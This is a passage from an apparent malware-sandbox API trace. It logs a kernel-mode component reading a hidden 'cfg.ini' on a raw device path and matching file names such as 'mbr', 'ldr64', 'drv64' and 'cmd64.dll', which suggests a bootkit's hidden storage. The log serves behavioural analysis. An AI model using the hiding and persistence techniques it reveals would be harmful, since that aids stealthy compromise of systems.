(FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.544] KeLeaveCriticalRegion () [0125.544] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.544] KeEnterCriticalRegion () [0125.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.544] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.544] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.544] KeLeaveCriticalRegion () [0125.544] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.544] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.544] KeEnterCriticalRegion () [0125.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.544] ExFreePoolWithTag (P=0xfffffa8003bf08a0, Tag=0x0) [0125.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.544] KeLeaveCriticalRegion () [0125.544] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.544] ReleaseMutex (hMutex=0xf0) returned 1 [0125.544] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.544] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.545] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.545] KeEnterCriticalRegion () [0125.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.545] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.545] IdePortDispatch () returned 0x103 [0125.545] KeWaitForMutexObject () returned 0x0 [0125.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.545] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.545] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.545] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.545] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.545] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8060 [0125.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.545] KeLeaveCriticalRegion () [0125.545] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.545] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.545] KeEnterCriticalRegion () [0125.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.545] KeLeaveCriticalRegion () [0125.545] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.545] KeEnterCriticalRegion () [0125.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.545] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.545] IdePortDispatch () returned 0x103 [0125.546] KeWaitForMutexObject () returned 0x0 [0125.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.546] KeLeaveCriticalRegion () [0125.546] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.546] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.546] KeEnterCriticalRegion () [0125.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c75000 [0125.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.546] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.546] IdePortDispatch () returned 0x103 [0125.546] KeWaitForMutexObject () returned 0x0 [0125.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.546] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.546] IdePortDispatch () returned 0x103 [0125.546] KeWaitForMutexObject () returned 0x0 [0125.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.546] KeLeaveCriticalRegion () [0125.546] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.547] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.547] KeEnterCriticalRegion () [0125.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.547] KeLeaveCriticalRegion () [0125.547] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.547] KeEnterCriticalRegion () [0125.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.547] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.547] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.547] KeLeaveCriticalRegion () [0125.547] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.547] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.547] KeEnterCriticalRegion () [0125.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.547] ExFreePoolWithTag (P=0xfffffa8003bf8060, Tag=0x0) [0125.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.547] KeLeaveCriticalRegion () [0125.547] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.547] ReleaseMutex (hMutex=0xf0) returned 1 [0125.547] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.547] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.547] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.547] KeEnterCriticalRegion () [0125.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.547] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.548] IdePortDispatch () returned 0x103 [0125.548] KeWaitForMutexObject () returned 0x0 [0125.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.548] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.548] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.548] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.548] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.548] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf85a0 [0125.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.548] KeLeaveCriticalRegion () [0125.548] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.548] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.548] KeEnterCriticalRegion () [0125.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.548] KeLeaveCriticalRegion () [0125.548] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.548] KeEnterCriticalRegion () [0125.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.548] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.548] IdePortDispatch () returned 0x103 [0125.548] KeWaitForMutexObject () returned 0x0 [0125.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.548] KeLeaveCriticalRegion () [0125.548] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.549] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.549] KeEnterCriticalRegion () [0125.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.549] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c76000 [0125.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.549] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.549] IdePortDispatch () returned 0x103 [0125.549] KeWaitForMutexObject () returned 0x0 [0125.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.549] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.549] IdePortDispatch () returned 0x103 [0125.549] KeWaitForMutexObject () returned 0x0 [0125.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.549] KeLeaveCriticalRegion () [0125.549] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.550] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.550] KeEnterCriticalRegion () [0125.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.550] KeLeaveCriticalRegion () [0125.550] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.550] KeEnterCriticalRegion () [0125.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.550] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.550] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.550] KeLeaveCriticalRegion () [0125.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.550] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.550] KeEnterCriticalRegion () [0125.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.550] ExFreePoolWithTag (P=0xfffffa8003bf85a0, Tag=0x0) [0125.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.550] KeLeaveCriticalRegion () [0125.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.550] ReleaseMutex (hMutex=0xf0) returned 1 [0125.550] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.550] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.550] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.550] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.550] KeEnterCriticalRegion () [0125.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.550] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.550] IdePortDispatch () returned 0x103 [0125.551] KeWaitForMutexObject () returned 0x0 [0125.551] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.551] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.551] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.551] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.551] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.551] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.551] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.551] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.551] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.551] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.551] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.551] KeLeaveCriticalRegion () [0125.551] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.551] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.551] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.551] KeEnterCriticalRegion () [0125.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.551] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.551] IdePortDispatch () returned 0x103 [0125.551] KeWaitForMutexObject () returned 0x0 [0125.551] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.551] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.551] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.551] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.552] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.552] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.552] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.552] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.552] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.552] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.552] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.552] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.552] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.552] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.552] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.552] KeLeaveCriticalRegion () [0125.552] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.552] ReleaseMutex (hMutex=0x100) returned 1 [0125.552] Sleep (dwMilliseconds=0x2bf20) [0125.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e09b330, dwHighDateTime=0x1d24fa4)) [0125.558] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.558] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.558] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.558] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.558] KeEnterCriticalRegion () [0125.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.558] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.558] IdePortDispatch () returned 0x103 [0125.559] KeWaitForMutexObject () returned 0x0 [0125.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.559] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.559] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.559] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.559] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.559] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf84a0 [0125.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.559] KeLeaveCriticalRegion () [0125.559] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.559] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.559] KeEnterCriticalRegion () [0125.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.559] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.559] KeLeaveCriticalRegion () [0125.559] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.559] KeEnterCriticalRegion () [0125.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) 